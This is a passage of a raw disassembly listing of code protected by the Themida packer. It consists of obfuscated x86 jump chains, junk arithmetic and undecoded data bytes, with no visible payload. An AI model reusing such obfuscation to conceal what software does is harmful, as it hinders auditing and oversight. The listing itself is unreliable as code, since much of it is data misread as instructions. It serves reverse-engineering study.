		jmp	loc_5F6580
; ---------------------------------------------------------------------------
		db 89h
		dd 0BB532424h, 4, 4245C01h, 5B2434FFh, 4C481h, 83580000h
		dd 3C8904ECh, 4BF24h, 0F8010000h, 7DC2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EC84D:				; CODE XREF: Themida_:005F37AFj
		mov	esi, 4
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5F3390
; ---------------------------------------------------------------------------
aPs1		db 'P1^',0
		align 2
		dw 875Fh
		dd 895C2414h, 5954240Ch, 4BB53h, 0D9010000h, 4EC835Bh
		dd 0E9241C89h, 8A1Ch, 54243C89h, 81243C8Bh, 4C4h, 4B85000h
		dd 1000000h, 0C78158C7h, 4, 8B243C87h, 4092424h, 0E3E99C24h
		dd 5CFFFFD9h, 89241489h, 58EA68E2h, 34890000h, 41F8BE24h
		dd 0EE816A81h, 6A8141F4h, 815EF201h, 4ECh, 52AEE900h, 0EF810000h
		dd 4, 0E9243C87h, 5A09h, 3D294E68h, 0E3815B3Eh,	61DB0FDCh
		dd 0E904E3C1h, 5A0Ch, 8904EC83h, 3EE9241Ch
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EC927:				; CODE XREF: Themida_:005EBAA8j
		add	ecx, 0A20480C3h
		jmp	loc_5EFB04
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0C3830000h, 172CE904h, 0D6010000h, 40B4EE81h
		dd 875A5115h, 248B2434h, 66E9F624h, 66CCB60Fh, 0E976BE68h
		dd 2DD6h, 4BDh,	36C68100h, 157B15Fh, 36EE81EEh,	5D57B15Fh
		dd 81B4E9h, 4B96BE00h, 0E6814FDCh, 6A032D77h, 72EFE951h
		dd 0C4810000h, 4, 4C481h, 0BD550000h, 9C906DEh,	0DDA9E94Dh
		dd 0E800FFFFh, 84B65266h, 9E9F028h, 81000031h, 0BB745FEDh
		dd 0C1DDF76Eh, 0C58107E5h, 6977A219h, 6263E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EC9C5:				; CODE XREF: Themida_:005F65ACj
		add	esp, 4
		jmp	loc_5EA2B6
; ---------------------------------------------------------------------------
		dd 0A03F04BDh, 3EDC123h, 8103E5C1h, 955B5EEDh, 44E58175h
		dd 450B002Bh, 9DE9F581h, 0E801B3FFh, 0F934E95Dh, 34FFFFFFh
		dd 8993E924h, 26BE0000h, 810A7171h, 538A9BF6h, 5EF329B0h
		dd 95E9DA01h, 66FFFFE5h, 0E9240489h, 0FFFFD89Ah, 2BBA355Fh
		dd 0BF5745DEh, 76320908h, 104AC781h, 0F781481Fh, 0D37221ABh
		dd 4E73E9h, 6EBC100h, 0EB81DBF7h, 15182DDBh, 5606EBC1h
		dd 0FFFFB1E9h, 241487FFh, 0FFF329E9h, 53F1B4FFh, 0F3E928B7h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5ECA5F:				; CODE XREF: Themida_:005EC661j
		mov	edi, esp
		jmp	loc_5EDEC0
; ---------------------------------------------------------------------------
		dw 1C89h
aSp		db '$p{',0
		align 2
		dw 8B66h
		dd 5455240Ch, 0EDB8505Dh, 0D73BE04h, 54642248h,	34A2E9h
		dd 2C68300h, 5C243487h,	24048B66h, 0E9E78957h, 93ABh, 0AEE95B54h
		dd 89000016h, 0E8D15BD8h, 9A295325h, 0FFFF2D29h, 0BF57FFFFh
		dd 0FA37A08Dh, 0C3E9F801h, 0F7000002h, 23F681DEh, 0E98DC6F0h
		dd 2641h, 8B24048Fh, 4FF2424h, 0DFE99C24h, 29FFFFD7h, 62E9E9D8h
		dd 0C6810000h, 179EF169h, 65FEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5ECAE9:				; CODE XREF: Themida_:005F4B09j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5F332E
		push	155Ah
		mov	[esp], ecx
		mov	ecx, 0
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, esi
		jmp	loc_5F0C40
; ---------------------------------------------------------------------------
		db 59h
		dd 0EE81FE01h, 2C8A59BAh, 28DCE9h, 24143300h, 0E9241431h
		dd 486h, 80326CB9h, 59CB3127h, 875BDE29h, 895C2434h, 0ECE92414h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5ECB3B:				; CODE XREF: Themida_:005EF483j
		push	edx
		mov	edx, 3A925388h
		shl	edx, 4
		or	edx, 5A9835DAh
		add	edx, 65261599h
		add	eax, 32C7420Ah
		sub	eax, 72D2688Ah
		add	eax, edx
		push	ecx
		mov	ecx, 72D2688Ah
		add	eax, ecx
		pop	ecx
		sub	eax, 32C7420Ah
		mov	edx, [esp]
		push	edi
		sub	esp, 4
		jmp	loc_5F0EBF
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 7Fh
		dd 53ACF431h, 0A54A84BBh, 0F3814B1Bh, 6A185F45h, 0E95BD929h
		dd 159h
; ---------------------------------------------------------------------------


loc_5ECB94:				; CODE XREF: Themida_:005F3060j
		push	esi
		mov	esi, 57594F85h
		sub	esi, 2CA550B2h
		shl	esi, 3
		jmp	loc_5F4645
; ---------------------------------------------------------------------------
aPhs		db 'PhS(',0
		align 2
		dw 3489h
		dd 73356824h, 348B45B3h, 4C48124h, 81000000h, 0B37334F6h
		dd 98BEE945h, 248B0000h, 470DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5ECBD2:				; CODE XREF: Themida_:005F2855j
		push	798100AEh
		pop	ecx
		jmp	loc_5ECFC0
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 11936824h, 17E90000h, 80000084h, 0B60FF2EBh,	8734FFC0h
		dd 0FFD6BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ECBF9:				; CODE XREF: Themida_:005F2067j
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_5EC400
		push	dword ptr [edi+28h]
		jmp	loc_5EC672
; ---------------------------------------------------------------------------
aXskb		db 'XKb',0
		align 2
aScn		db 'N',0
		dd 4B85000h, 81000000h,	630D43C5h, 57C5010Ah, 28681BBFh
		dd 0C9C78109h, 0F76E8137h, 2087E9D7h, 0F7890000h, 8BF8215Eh
		dd 0C481243Ch, 4, 0E2D1C209h, 832477FFh, 0CAE904ECh, 89000047h
		dd 0FF68243Ch, 89000005h, 0EE92424h, 0B9FFFFDAh, 0F80AEEh
		dd 756EE9h, 79E95700h, 42000053h, 6F5AE94Ah, 0C4830000h
		dd 241C8704h, 0AB0F665Ch, 0E99C2404h, 0FFFFD626h, 4EE6815Ch
		dd 5521E05Eh, 2602BE56h, 6ABD49E1h, 3127F97Ah, 3EE95EF5h
		dd 8B000055h, 0FAE92404h, 500002Dh, 0EF85E5Ch, 477DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5ECCBD:				; CODE XREF: Themida_:005F4B14j
		mov	[esp], ebp
		jmp	loc_5F4688
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 81000000h, 2EBh, 241C8700h, 6624248Bh, 53241489h, 0E950F9B3h
		dd 0FFFFF467h, 582404FFh, 5050E9h, 77E98100h, 29E47044h
		dd 0B85059CEh, 3AF00685h, 0FFDE83E9h, 986853FFh, 0E93A713Bh
		dd 1878h, 0F7240C87h, 240C87D1h, 0FFEE5FE9h, 0C38358FFh
		dd 241C8704h, 0E189515Ch, 4C181h, 63E90000h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5ECD2F:				; CODE XREF: Themida_:005EB6D1j
		mov	esi, 147C57AAh
		jmp	loc_5F2C19
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
aYfp		db 'YfP',0
		db 0C3h
		dd 0DD285866h, 0F6C5FE5Bh, 0D4C580D5h, 0E959EE28h, 93C0h
		dd 8104E3C1h, 0D3466CF3h, 3EBC13Ch, 0DD5FC381h,	0D901F087h
		dd 0E9241C8Bh, 8418h
; ---------------------------------------------------------------------------


loc_5ECD74:				; CODE XREF: Themida_:005F4E02j
		mov	ebp, 20872D8Bh
		jmp	loc_5F4952
; ---------------------------------------------------------------------------
		dw 315Fh
		dd 24048BC2h, 0FFDA4AE9h, 240481FFh, 4,	4DDAE9h, 0B4506600h
		dd 0C0EC8023h, 3DE9C4FEh, 81FFFFD8h, 6D6035F5h,	0C9E58125h
		dd 812ACB3Bh, 4ECh, 814E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5ECDBA:				; CODE XREF: Themida_:005EAE23j
		xor	esi, 3C72419Eh
		sub	esi, 0F53431D5h
		jmp	loc_5F20F3
; ---------------------------------------------------------------------------


loc_5ECDCB:				; CODE XREF: Themida_:005ED621j
		pop	ecx
		jmp	loc_5EC227
; ---------------------------------------------------------------------------
		db 28h,	0F8h, 2Ch
		dd 0B75366ABh, 0D909E9C0h, 0B850FFFFh, 48D549B7h, 0F1A8E957h
		dd 8B66FFFFh, 8950240Ch, 4EC83E0h, 0BD242C89h, 103578F6h
		dd 0DDF7DDF7h, 870EC581h, 0BF57EFCAh, 34D718A9h, 2D5FF801h
		dd 131E29EBh, 0EB05E801h, 2D131E29h, 34D718A9h,	83242C8Bh
		dd 685604C4h, 2, 8BF0015Eh
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5ED71B
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 81000000h, 0DF462FE9h, 81E90117h, 0DF462FC1h, 0DA685D17h
		dd 0E9000005h, 96A2h, 36891B1h,	0E9000024h, 3BCBh, 0BB241C89h
		dd 51E04BCCh, 48B85056h, 0E94CAE0Ch, 48C9h, 60E95D54h
		dd 59000091h, 975C181h,	0F7496610h, 36C181D1h, 89F3B984h
		dd 3CE959CFh, 5800002Ah, 4247C01h, 2E99E9h, 0D4B75300h
		dd 8081F780h, 0B4504BEFh, 98E48042h, 0C4FED4F6h, 53CBCC80h
		dd 44E976B3h, 500002Ah,	4, 205h, 24043300h, 87ECE9h, 14CD8100h
		dd 8160500Fh, 0F03F50F5h, 0AE955E0h, 81000024h,	4C6h, 4C68300h
		dd 8CF5E9h, 32E9BF00h, 0DFF74DEBh, 17BE9h, 0E9D50100h
		dd 6175h, 8DC0B60Fh, 0EC818704h, 4, 89241C89h, 4B951E3h
		dd 81000000h, 0BA13F8EBh, 7332E92Eh, 74FF0000h,	2BE90424h
		dd 66FFFFE0h, 8324048Bh, 1E904ECh, 28000046h, 406859EBh
		dd 0E900006Bh, 4CBh
; ---------------------------------------------------------------------------


loc_5ECF48:				; CODE XREF: Themida_:005F05F9j
		mov	eax, edx
		pop	edx
		jmp	loc_5F2915
; ---------------------------------------------------------------------------
		dd 65B4BD55h, 0EA012DE5h, 88C2815Dh, 0E93C6B31h, 206Bh
		dd 6624248Bh, 5224048Bh, 0C281E289h, 4,	7B5FB850h, 27E96D4Ch
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5ECF7F:				; CODE XREF: Themida_:005F468Dj
		mov	[esp], edx
		push	edx
		mov	edx, 0F2146F4h
		xor	[esp+4], edx
		pop	edx
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5F58E0
; ---------------------------------------------------------------------------
		dd 8ABE565Ah, 816D8044h, 5E239FF6h, 0FD0E905h, 14330000h
		dd 0C1385C24h, 0D300E99Ch, 39BFFFFFh, 0E92DA83Dh, 95B6h
; ---------------------------------------------------------------------------


loc_5ECFC0:				; CODE XREF: Themida_:005ECBD8j
		sub	ecx, 798100AAh
		push	ecx
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 1BCF64E0h
		add	ecx, eax
		add	ecx, 1BCF64E0h
		pop	eax
		jmp	loc_5EE1AD
; ---------------------------------------------------------------------------


loc_5ECFE5:				; CODE XREF: Themida_:005F5803j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5F1169
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 1C6F2124h, 0D2BCE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ECFFA:				; CODE XREF: Themida_:005EF342j
		add	edi, ebp
		pop	ebp
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5F1A45
; ---------------------------------------------------------------------------
		dd 0DCE8E940h, 0E281FFFFh, 12F8208Eh, 0B951h, 0D1290000h
		dd 8159CA89h, 0CC1CB3F2h, 231DE905h, 8B660000h,	0D7682404h
		dd 89000070h, 0E389241Ch, 74A0BD55h, 0F74D2EAFh, 3EF581DDh
		dd 0C137155Bh, 86E903E5h, 0B200005Ah, 0D4885070h, 3FECE9h
		dd 424A4A00h, 2FB768h, 241C8900h, 5A8E98BBh, 88C5E94Ah
		dd 59590000h, 0E97DC380h, 6B36h, 47F5E947h, 3E680000h
		dd 89000018h, 9DB9240Ch, 13CA76Ch, 240C8BCFh, 8B04C483h
		dd 89512434h, 4C181E1h,	81000000h, 4C1h, 240C8700h, 243C335Ch
		dd 5CDEE9h, 4C48100h, 68000000h, 7594h,	0BB241C89h, 3D726090h
		dd 571FC381h, 555611F8h, 6AB7ABBDh, 5DEE894Fh, 815EF331h
		dd 4F4FACE9h, 72F4E945h, 45B0000h, 6B0AE979h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5ED0EA:				; CODE XREF: Themida_:005ED821j
		sub	dword ptr [esp], 7A5C3817h
		pop	edi
		xor	edi, 0C131B00Dh
		mov	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	[edi+1Ch], eax
		push	dword ptr [esp]
		jmp	loc_5F43EB
; ---------------------------------------------------------------------------
		dd 4BF57h, 0FE010000h, 2434875Fh, 917BE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5ED11E:				; CODE XREF: Themida_:005EC316j
		mov	eax, 0
		add	eax, edx
		add	dword ptr [eax], 1
		mov	eax, [esp]
		jmp	loc_5F49E8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 33E92414h, 0B5000068h, 55B65253h,	8008E6C0h
		dd 0B151FFEEh, 0F09DE921h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ED152:				; CODE XREF: Themida_:005F1A48j
		add	eax, 4
		add	eax, 4
		jmp	loc_5EC1FF
; ---------------------------------------------------------------------------
		db 81h
		dd 1E9h, 7DAEE900h, 8B660000h, 6E92414h, 0C1000092h, 0BD5503E3h
		dd 14C87D00h, 2C8BEB21h, 1A63E924h, 0E9810000h,	75100EDCh
		dd 2EF18141h, 89A150B9h, 8E959C8h, 56000035h, 0E955E689h
		dd 0FFFFF7BCh
; ---------------------------------------------------------------------------


loc_5ED1A4:				; CODE XREF: Themida_:005F3215j
		mov	[esp], eax
		pop	ecx
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_5EDDE3
; ---------------------------------------------------------------------------
		dd 33242C31h, 665C242Ch, 2404BB0Fh, 44A3E99Ch, 0C2830000h
		dd 24148702h, 0E924248Bh, 17Ah,	302CEC80h, 0FE0058E7h
		dd 3E6C05Bh, 8006EEC0h,	0F430C1F6h, 643EE95Ah, 68AD0000h
		dd 5BE4h, 0BA241489h, 2D1A1032h, 3CE9D029h, 81000026h
		dd 0D56774EFh, 9BEF8164h, 89A87396h, 0D6F75FFEh, 84B0E9h
		dd 5E555E00h, 5EF0015Dh, 0FFE18FE9h, 66E828FFh,	0B02C59h
		dd 0B0B652C8h, 525AF000h, 0EE80A0B6h, 5531E9E1h, 0C1800000h
		dd 50C1FE53h, 0E48015B4h, 0FFC4801Bh, 0E9FBF480h, 0FFFFF507h
		dd 0EA30E955h, 48BFFFFh, 4C48324h, 611BE9h, 0E9E18900h
		dd 77A5h, 0D3D751BFh, 5FFB3128h, 95BD989h, 5F85E9CAh, 8B660000h
		dd 0C481240Ch, 2, 7B17E9h, 48B6600h, 0E7895724h, 4C781h
		dd 91E90000h, 28FFFFDCh, 0C8B66EBh, 0E6895624h,	4C681h
		dd 0C6810000h, 2, 0E9243487h, 76C9h, 815EF329h,	1F311FC3h
		dd 0E7895764h, 4C781h, 9FE90000h, 8300007Fh, 99E904ECh
		dd 0AD000025h, 3866612Dh, 701E054Bh, 95E917A5h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5ED2EF:				; CODE XREF: Themida_:005F0A02j
		pop	esi
		push	3053h
		mov	[esp], ecx
		mov	ecx, 575F4EC6h
		not	ecx
		inc	ecx
		sub	ecx, 37098F10h
		or	esi, ecx
		pop	ecx
		jmp	loc_5F3919
; ---------------------------------------------------------------------------


loc_5ED30E:				; CODE XREF: Themida_:005F3057j
		sub	edx, ebp
		jmp	loc_5EFFB8
; ---------------------------------------------------------------------------


loc_5ED315:				; CODE XREF: Themida_:005F048Bj
		mov	[esp], eax
		jmp	loc_5F21C2
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 8004C483h, 5266B2C3h, 0C380D0B2h, 5F81E9B7h,	4F590000h
		dd 3CEEE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5ED33A:				; CODE XREF: Themida_:005EAD8Fj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_5F305C
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 87FBE95Ch, 3CD20000h, 0CAE99C24h, 81FFFFEFh,	4C3h, 4EC8100h
		dd 89000000h, 0B6E9242Ch, 0E9000046h, 0FFFFCF42h, 5E2414F7h
		dd 0E9E78957h, 3FA4h, 4F17E981h, 348B2507h, 4C48124h, 87000000h
		dd 248B240Ch, 24043124h, 0FFCF19E9h, 0E7D147FFh, 245EC781h
		dd 0EB81C47Bh, 3B9D12E5h, 0C381FB01h, 3B9D12E5h, 5F2434FFh
		dd 4C481h, 0EEE90000h, 8B00001Fh, 0C481241Ch, 4, 6D05E9h
		db 0
; ---------------------------------------------------------------------------


loc_5ED3D1:				; CODE XREF: Themida_:005EBEE7j
		mov	edx, [esp]
		jmp	loc_5F1D01
; ---------------------------------------------------------------------------


loc_5ED3D9:				; CODE XREF: Themida_:005F2C23j
		push	1E8Dh
		mov	[esp], edi
		push	4
		pop	edi
		jmp	loc_5F5BB3
; ---------------------------------------------------------------------------
		dd 0E95266ACh, 0FFFFF210h, 6D0B6855h, 0E95D5F69h, 0FFFFE9ADh
		dd 0E3242C81h, 811A116Eh, 1D662404h, 0AAE96402h, 8900007Ch
		dd 0FCBA2414h, 68000003h, 0D4Bh, 0E9242C89h, 3B64h, 2474FF50h
		dd 48F5804h, 24248B24h,	2C80E9h, 5FFE3100h, 348BF031h
		dd 82E95324h, 81FFFFEFh, 4EFh, 243C8700h, 240C895Ch, 0FFD6895Ah
		dd 815A2434h, 4C4h, 0E0895000h,	0F2DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5ED469:				; CODE XREF: Themida_:005F6571j
		xor	esi, 0B265B96Fh
		push	56BFh
		jmp	loc_5F018F
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 56242489h, 4BEh, 24740100h, 24348B04h, 0E9E78957h, 52BEh
		dd 54241C89h, 4BE565Bh,	1000000h, 0BA525EF3h, 4, 335AD301h
		dd 0BEE9241Ch, 52FFFFE0h, 956E23BAh, 43EE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5ED4BE:				; CODE XREF: Themida_:005F4165j
		mov	edx, 46C44C5Eh
		and	edx, 50CA0E77h
		and	edx, 0EE936FFh
		jmp	loc_5F2343
; ---------------------------------------------------------------------------


loc_5ED4D4:				; CODE XREF: Themida_:005F116Bj
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5F2364
; ---------------------------------------------------------------------------
a_s		db '_!',0
		dw 8300h
		dd 5B042404h, 5205E9h
		db 0
; ---------------------------------------------------------------------------


loc_5ED4F9:				; CODE XREF: Themida_:005EAC7Cj
		inc	edx
		shr	edx, 7
		sub	edx, 9B7FBB8Ch
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5F38C5
; ---------------------------------------------------------------------------
		dd 0B46299B8h, 0E9C2312Bh, 34Eh, 42474FFh, 762BE9h, 0CD8CE900h
		dd 0A468FFFFh, 89000069h, 0E589242Ch, 4C581h, 0E9560000h
		dd 1FB3h, 5205E3C1h, 78F7C4BAh,	5AD3318Bh, 0F3E9DF01h
		dd 57FFFFF1h, 6B45BA52h, 0DAF75378h, 94BFF281h,	8B52AC87h
		dd 0C483243Ch, 0F8015A04h, 2404335Fh, 33240431h, 0E8E92404h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ED57B:				; CODE XREF: Themida_:005F3E5Bj
		mov	al, 0B5h
		jmp	loc_5EA4FA
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0C1B9240Ch, 0E95C6651h, 2AD5h, 0C48073B4h, 0E9E68817h
		dd 0FFFFEA42h, 0EB80C3FEh, 0DFF38091h, 5008E3C0h, 0E33033B4h
		dd 346AE9h, 0C2815A00h,	26312267h, 6D98E9h, 5AD10100h
		dd 31240C33h, 0C33240Ch, 33D4E924h, 34890000h, 7DB3BE24h
		dd 0E6C1657Ah, 17E68106h, 8145E40Bh, 11D4AAEEh,	5EF531DEh
		dd 150AE9h, 142DAD00h, 2908E72Fh, 5E2FE9D8h, 0E9500000h
		dd 827Ah
; ---------------------------------------------------------------------------


loc_5ED600:				; CODE XREF: Themida_:005F235Fj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ecx
		mov	ecx, 6CDA7405h
		not	ecx
		xor	ecx, 93258BFEh
		add	eax, ecx
		jmp	loc_5ECDCB
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048324h, 0CE11E904h, 0E953FFFFh, 0FFFFE0DFh, 81240C8Bh
		dd 4C4h, 51665200h, 0A2E912B5h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ED64B:				; CODE XREF: Themida_:005EE18Ej
		mov	al, cl
		jmp	loc_5F4E64
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 241CD366h, 0CC54E99Ch, 0E781FFFFh, 3B077D73h
		dd 22ECE781h, 0E7C15357h, 81D7F706h, 801003C7h,	7887E940h
		dd 0C2830000h, 24143304h, 33241431h, 525C2414h,	8904EC83h
		dd 0E5E9240Ch
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5ED697:				; CODE XREF: Themida_:005ED812j
		jmp	loc_5EA2B6
; ---------------------------------------------------------------------------
		dd 4F11E9ADh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5ED6A2:				; CODE XREF: Themida_:005EB5B8j
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_5F349B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 8F66C331h, 0CBF8E900h, 0D7F7FFFFh, 0E9243C87h
		dd 39DCh, 400FE953h, 0C3010000h, 1F4EEB81h, 34FF4CA7h
		dd 9FE95824h, 87FFFFF5h, 0E95C2414h, 0FFFFD1C9h, 0FFCBC9E9h
		dd 2434FFFFh, 83240C8Bh, 0EC8104C4h, 4,	0FFD038E9h, 0BE565DFFh
		dd 7C1E7592h, 815EF529h, 2E02D5F5h, 8BEE8992h, 83E9242Ch
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5ED71B:				; CODE XREF: Themida_:005ECE35j
		add	ebp, 4
		jmp	loc_5F455C
; ---------------------------------------------------------------------------
		dw 8F66h
		dd 0CB88E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ED72E:				; CODE XREF: Themida_:005ED8C7j
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5EFBD1
; ---------------------------------------------------------------------------
aXhf		db 'XhF',8,0
		align 4
		dd 0E9241489h, 8BACh, 8324048Bh, 0CE8604C4h, 0CE86D1F6h
		dd 0C680DEF6h, 61F4E9BFh, 79BB0000h, 8150FA14h,	4C5E0DC3h
		dd 10E38116h, 8142074Ch, 3801B0C3h, 3177E910h, 3BBA0000h
		dd 81686C05h, 6C0539F2h, 0FFD70168h, 505A2434h,	405E089h
		dd 5000000h, 4,	5C240487h, 0FFD6E3E9h, 0E3885BFFh, 6F75E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5ED7AE:				; CODE XREF: Themida_:005F2D5Aj
		push	esi
		jmp	loc_5EF322
; ---------------------------------------------------------------------------
aWs4k		db 'W4k',0
		align 2
		dw 525Ch
		dd 24148B54h, 4C481h, 0F2E90000h, 59000075h, 559668h, 242C8900h
		dd 0BE565D54h, 36A60EAFh, 0DEF7E6D1h, 8107E6C1h, 254E4DEEh
		dd 888E918h, 34280000h,	24348A24h, 8002C483h, 806839EEh
		dd 0E900007Ah, 0FFFFE064h
; ---------------------------------------------------------------------------


loc_5ED804:				; CODE XREF: Themida_:005EE0B0j
		sub	ebx, ebp
		jmp	loc_5F32C2
; ---------------------------------------------------------------------------


loc_5ED80B:				; CODE XREF: Themida_:005EF099j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5ED697
; ---------------------------------------------------------------------------


loc_5ED817:				; CODE XREF: Themida_:005F4DA3j
		add	dword ptr [esp], 7A5C3817h
		sub	[esp], edi
		jmp	loc_5ED0EA
; ---------------------------------------------------------------------------
		dw 8957h
		dd 5FFA89CFh, 4294E959h, 0E9580000h, 15DBh, 4EC815Eh, 0E9000000h
		dd 0FFFFD143h
; ---------------------------------------------------------------------------


loc_5ED844:				; CODE XREF: Themida_:005F1B33j
		sub	ebx, 5AD22E60h
		jmp	loc_5F505A
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8B241C87h, 54572424h, 4EC835Fh, 57242C89h, 4E2775BFh
		dd 1702E910h, 48B0000h,	4C48124h, 81000000h, 84B29EC2h
		dd 10B42D22h, 0D029183Bh, 3B10B405h, 24148B18h,	2D04C483h
		dd 55CC39B4h, 0B405D829h, 555CC39h, 5DF9017Dh, 1C3D68h
		dd 241C8900h, 1167E9h, 46DEF700h, 3249CE81h, 0B951607Bh
		dd 6B7B7A65h, 0E9CE29h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5ED8BF:				; CODE XREF: Themida_:005F1FD6j
		xor	edx, ebx
		pop	ebx
		xor	ebp, edx
		mov	edx, [esp]
		jmp	loc_5ED72E
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 5E08924h, 4, 405h,	24048700h, 0CBD3E95Ch
		dd 8B66FFFFh, 0EC812404h, 4, 0E9243C89h, 0E1Eh,	21CA814Ah
		dd 0E900AF6Ch, 54EBh, 0ACE9792Ch, 89000071h, 0E950241Ch
		dd 3CADh, 4240481h, 5A000000h, 4C281h, 0E9510000h, 7092h
		dd 0C676ECB8h, 8E0C11Bh, 57BB5340h, 3113AEA4h, 0C5295BD8h
		dd 63EE958h, 0D2D0000h,	2976CE51h, 510D05D8h, 9FE976CEh
		dd 51000055h, 0F60527B9h, 59CA292Dh, 0C281F229h, 2DF60527h
		dd 46DDE9h, 242C8B00h, 68E08950h, 3A92h, 68243C89h, 4
		dd 4AEDE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5ED986:				; CODE XREF: Themida_:005F3286j
		pop	ebx
		neg	ecx
		neg	ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xor	ecx, 7A1E921Bh
		add	esi, ecx
		pop	ecx
		sub	ebp, 18AA669Fh
		add	ebp, esi
		add	ebp, 18AA669Fh
		pop	esi
		mov	[eax], ebp
		pop	ebp
		pop	eax
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFC902h, 8B2434FFh, 0E9502414h, 0FFFFD61Fh, 1058E95Ch
		dd 0E9350000h, 56BBE06h, 890DB5ABh, 5158C501h, 4B9h, 50DAE900h
		dd 8B660000h, 0EC81240Ch, 4, 89241C89h,	4B951E3h, 81000000h
		dd 1B137BEBh, 80C3812Eh, 81264D39h, 555495C3h, 6FFEE938h
		dd 8B660000h, 0E92404h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EDA13:				; CODE XREF: Themida_:005F4FB8j
		mov	[esp], ecx
		jmp	loc_5EE69D
; ---------------------------------------------------------------------------


loc_5EDA1B:				; CODE XREF: Themida_:005F1B0Bj
		push	edi
		mov	edi, 6B4A24BFh
		xor	edi, 39594E1Bh
		xor	edi, 52136AA0h
		jmp	loc_5F3547
; ---------------------------------------------------------------------------


loc_5EDA32:				; CODE XREF: Themida_:005F0154j
		push	0E0Dh
		mov	[esp], edi
		push	ebp
		jmp	loc_5F3A28
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 8765h, 6273F3BBh, 47FB876Bh, 6061E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EDA55:				; CODE XREF: Themida_:005EF42Ej
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_5F1245
; ---------------------------------------------------------------------------
		dd 468h, 0DE95E00h, 0BD000039h,	19144863h, 0E95DEF09h
		dd 80E7h, 1EB835Eh, 0C381DBF7h,	0DB198E19h, 7CE9D931h
		dd 81000076h, 4C7h, 2EF8300h, 8B243C87h, 95E92424h, 29000062h
		dd 0C8B5EF7h, 4C48124h,	0E9000000h, 239Ah, 8B2434FFh, 0C483240Ch
